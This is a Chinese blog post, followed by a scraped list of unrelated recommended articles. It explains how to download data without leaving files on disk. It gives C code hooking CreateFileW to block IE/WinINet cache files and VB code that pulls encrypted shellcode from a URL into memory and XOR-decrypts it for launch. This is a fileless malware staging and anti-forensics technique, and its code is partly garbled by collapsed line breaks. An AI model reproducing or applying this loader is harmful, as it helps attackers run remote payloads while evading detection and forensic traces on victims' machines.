真正实现网络下载,文件不落地.解决XmlHttp对象、winnet.dll、URLDownloadToFile生成的ie缓存(Hook_CreateFileW阻止缓存生成)
最近遇到的一个需求是,要求从网络上下载数据,并且文件不落地,那就是需要把缓存处理下,阻止缓存生成。无论我们用XmlHttp对象、还是inter网络通信控件、下载文件的API函数URLDownloadToFile都是会自动生成缓存文件。
Hook_CreateFileW阻止缓存生成
//HOOK CreateFileW
HANDLE WINAPI TimedCreateFileW(LPCWSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
{
//C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary
//Internet Files\Content.IE5\78B59JOE\tem[1].txtHANDLE ret=NULL ;if (wcsstr(lpFileName,L"Temporary")){OutputDebugStringW(lpFileName);wprintf(lpFileName,"%ws",L"");return ret;}ret = TrueCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);return ret;
}
以上钩子HOOK ,主要是为了解决下面的 XmlHttp对象所产生的缓存问题,这个对象底层实际上 是由winnet.dll这个模块实现,网上也有其他的方法来清除缓存,但是由于实际需求,要求阻止缓存生成,而不是缓存生成后再清楚,最终通过OD逆向调试发现他底层是由 CreateFileW函数来创建缓存文件,所以我们只要HOOK这个函数进行一个过滤即可。比如过滤掉下面这个缓存路径C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\78B59JOE\tem[1].txt
以上这个路径就是 XmlHttp对象所产生的,无论是用其他的下载方式还是别的下载方式,其实都是有缓存的。但是微软只给予了删除缓存的API函数,并没有阻止缓存生成的功能,而这里我们要求更高一点,不是删除缓存,而是直接阻止缓存生成。
下面是VB操作 XmlHttp对象来下载文件,下载的数据保存到了一个内存数组上B。文件是不落地的。配合以上 API hook 钩子 就可以完美阻止缓存生成,真正实现文件不落地了。
'在内存中 解密启动 下载的shellcode,文件不落地
Private Sub DecryptRun_DownloadShllCode(ByVal nUrl As String)On Error GoTo M:Dim XmlHttp, b() As ByteSet XmlHttp = CreateObject("Microsoft.XMLHTTP")XmlHttp.Open "GET", nUrl, FalseXmlHttp.SetRequestHeader "If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT"' XmlHttp.SetRequestHeader "Cache-Control", "no-cache" ' '"Cache-Control","no-cache"XmlHttp.SendIf XmlHttp.ReadyState = 4 Thenb() = XmlHttp.ResponseBody '下载加密的shelcode文件以二进制字节模式保存到数组B()
' Open nFile For Binary As #1
' Put #1, , B()
' Close #1End IfDim slen As Longslen = UBound(b()) '获取数组长度,即 shellcode的长度Dim i As LongFor i = 0 To slenb(i) = b(i) Xor &H21 '解密Next i'其他业务代码,暂时忽略Set XmlHttp = Nothing
M:
End Sub
真正实现网络下载,文件不落地.解决XmlHttp对象、winnet.dll、URLDownloadToFile生成的ie缓存(Hook_CreateFileW阻止缓存生成)相关推荐
- 百度云盘上传文件和下载文件慢的解决办法
百度云盘上传文件和下载文件慢的解决办法 一:上传文件慢 1. 左下角点击搜索,输入cmd,右键以管理员身份运行 2. 在弹出的窗口中输入netsh interface tcp set global a ...
- centos 下载文件很慢_百度云盘上传文件和下载文件慢的解决办法
百度云盘上传文件和下载文件慢的解决办法 一:上传文件慢 1. 左下角点击搜索,输入cmd,右键以管理员身份运行 2. 在弹出的窗口中输入netsh interface tcp set global a ...
- rtthread + STM32F407VE + esp8266 +SD卡 从网络下载文件存到SD卡中
学习rtthread,通过文章记录学习过程的一些问题. 手上有一块STM32F407VE的核心板(带sd卡槽,连接MCU的SDIO),和安信可的esp8266-12F模块,现以此为基础实现从网络上下载 ...
- java action下载文件,DownloadAction下载文件,该如何解决
当前位置:我的异常网» Java Web开发 » DownloadAction下载文件,该如何解决 DownloadAction下载文件,该如何解决 www.myexceptions.net 网友分 ...
- JAVA从网络下载文件到本地
1.首推一种方法,封装好的FileUtils,简单一句话就搞定 /*** 下载文件---返回下载后的文件存储路径* * @param url 文件地址* @param dir 存储目录* @param ...
- JS 下载文件方法分享(解决图片文件无法直接下载和 IE兼容问题)
场景简介 由于业务需要,经常遇到下载各类文件的需求,其中最头疼的莫过于前端下载图片了,直接给个图片文件地址会变成直接打开图片,而不是弹窗提示另存为,研究了下前端实现文件下载最便捷的方法还是创建 a 标 ...
- 【Python】Python的urllib模、urllib2模块的网络下载文件
因为需要从一些下载一个页PDF文件.但是需要下载PDF有数百个文件,这是不可能用人工点击下载.只是Python有相关模块,所以写一个程序PDF文件下载,顺便熟悉Python的urllib模块和ulrl ...
- python模块下载1002python模块下载_【Python】Python的urllib模、urllib2模块的网络下载文件...
因为需要从一些下载一个页PDF文件.但是需要下载PDF有数百个文件,这是不可能用人工点击下载.只是Python有相关模块,所以写一个程序PDF文件下载,顺便熟悉Python的urllib模块和ulrl ...
- iOS之网络下载文件
文件下载 文件下载在我们日常开发中经常使用到,比如:图片,音频,视频等 简单的小文件下载 get异步下载 - (void)viewDidLoad {[super viewDidLoad];NSStri ...
最新文章
- STM32串口发送中断
- 自己做的几个小软件(数学工具和游戏),用C/C#制作,用到许多相关的C#技术细节,可以免费提供下载,感兴趣的,来看一下...
- 阅读第13,14,15,16,17章
- 两种方式:mysql查看正在执行的sql语句
- 禁止复制粘贴_网页禁止复制粘贴? 教你5招, 绕过网页限制, 免费复制全网内容!...
- 视镜:华为云媒体质量管理最新实践
- MediaStreamTrackAudioSourceNode
- python压缩教程_无需压缩软件,用python帮你操作压缩包
- 洛谷 3951 小凯的疑惑
- 如何清理cmake产生的各种文件
- 谷歌开源缓存框架Guava Cache
- failed to create symbolic link ‘/usr/bin/mysql’: File exists
- Linux下测试SSD硬盘读写速率
- 中国丙泊酚行业竞争与投资前景研究报告(2021版)
- 天津插画师培训机构 ,0基础可以学吗?
- 如何将mp4转换mp3音频文件
- 神经网络入门经典书籍,神经网络基础书籍
- 计算机内存die,你们说的美光E-DIE其实非常强(C9BJZ)
- 【推荐】Windows安装的几种工具
- 微信小程序开发与mysql_微信小程序云开发之云数据库入门
热门文章
- 2019强网杯crypto writeup
- PAT-ADVANCED1114——Family Property
- Windows预览体验计划空白等一些问题的解决办法
- 【总线】什么是并行传输?什么是串行传输?什么是异步传输?什么是同步传输?什么是等时传输?
- electron静默打印v_13,webview方式的相关配置
- 辉芒微IO单片机FT60F010A-URT
- 操作系统磁盘调度算法
- HttpClient4.5.6设置代理以及代理验证(用户名和密码)
- 语音特征信号分类---BP神经网络---MATLAB实现
- HDFS加密存储(Ranger集成KMS方式)